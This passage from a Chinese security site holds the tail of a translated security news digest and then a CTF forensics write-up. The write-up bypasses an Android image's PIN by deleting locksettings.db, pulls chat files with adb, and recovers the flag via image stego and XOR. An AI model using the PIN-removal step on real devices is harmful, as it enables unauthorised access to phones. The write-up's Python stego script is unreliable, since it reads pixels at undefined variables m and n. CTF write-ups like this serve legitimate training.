银行木马,因为它可以执行ATS(自动转账系统),使攻击者能够通过多家巴西银行采用的即时支付平台 Pix 自动插入恶意汇款。 5、微软称法国《查理周刊》遭到伊朗有关组织攻击 https://securityaffairs.com/141855/apt/charlie-hebdo-data-leak-iran.html 微软的数字威胁分析中心(DTAC)将最近针对法国讽刺漫画杂志《查理周刊》的网络攻击归因于一个与伊朗有关的威胁组织,追踪其名为NEPTUNIUM(又名Emennet Pasargad,Holy Souls)。该网络攻击是对《查理周刊》发起的一场漫画比赛的报复,该比赛旨在嘲讽伊朗执政的神职人员。今年1月初,黑客声称入侵了该杂志的数据库,获得了超过20万名客户的个人信息。该组织发布了一份数据样本作为黑客入侵的证据,暴露的数据包括订阅《查理周刊》或从该杂志 6、安全分析工具Binwalk中存在严重的安全漏洞 https://portswigger.net/daily-swig/serious-security-hole-plugged-in-infosec-tool-binwalk Binwalk是Linux中流行的命令行工具,用于分析、逆向工程和提取固件镜像。安全分析工具Binwalk本身存在路径遍历漏洞,可能导致远程代码执行(RCE),对运行过时版本的用户存在安全风险。漏洞被跟踪为CVE-2022-4510,并被归类为高严重性(CVSS 7.8)。该漏洞是在2017年Professional File System(PFS)提取器插件与binwalk合并时引入的,原因是试图用os.path. 7、Twitter API将不再提供免费访问 https://www.anquanke.com/post/id/285985 Twitter宣布从2月9日开始它的API(包括 v2 和 v1.1)将不再支持免费访问,使用其API将必须付费。这事实上杀死了第三方客户端和利用免费API对Twitter推文进行研究的项目,以及各种在多平台上交叉发帖的工具。 8、前 Ubiquiti 开发人员承认试图勒索他的雇主 https://www.bleepingcomputer.com/news/security/former-ubiquiti-dev-pleads-guilty-to-trying-to-extort-his-employer/ 管理网络设备制造商云团队的前 Ubiquiti 员工 Nickolas Sharp 今天认罪,他从 Ubiquiti 的网络中窃取了文件,并试图勒索他的雇主,同时冒充匿名黑客和举报人。 9、家装巨头安徒生公司泄露客户家庭照片和地址 https://cybernews.com/security/andersen-leak-home-photos-addresses/ 建筑和家居装修巨头 Andersen Corporation 暴露了客户的私人数据,包括家庭照片和地址。 10、CISA公布网络钓鱼演练结果,每10家有8家企业有员工被网钓成功 网络钓鱼是一种社交工程的手法,普遍冒充值得信赖的同事与组织,企图引诱受害者上当,而且可利用的渠道很多,包含电子邮件、通信软件或SMS短信,以及电话。 https://www.10lun.com/article/177104.html 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
[西湖论剑2022]Misc-机你太美
解题过程: 修改文件后缀后,7z解压后,夜神模拟器导入vmdk 删除pin值 参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html 删除/data/system/locksettings.db即可 rm /data/system/locksettings.db 重启进入,发现安装有QQ和Skred 打开Skred发现聊天记录 发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位 /data/data/mobi.skred.app/files/conversations 使⽤adb pull来提取⽂件 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf 其他文件类似操作提取即可 解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式 使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息 from PIL import Image img = Image.open("45.png") for i in range(img.width):    for j in range(img.height):        pixl = img.getpixel((m,n))        if(pixl[3] == 255):            print(1,end='')        else:            print(0,end='') print("_______________") #0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001 进行编码转换一下 e01544a9333ef62a3aa27357eb52ea8a 得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面 根据赛方放出的hint3:在线exif 试着查看一下75.jpg的exif信息,这里我使用的是https://exif.tuchong.com/ EXIF信息摘要 模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光 光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩 白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1/250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1/250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1/250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0 可以看到用户注释为XOR DASCTF2022 对flag文件进行XOR 获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页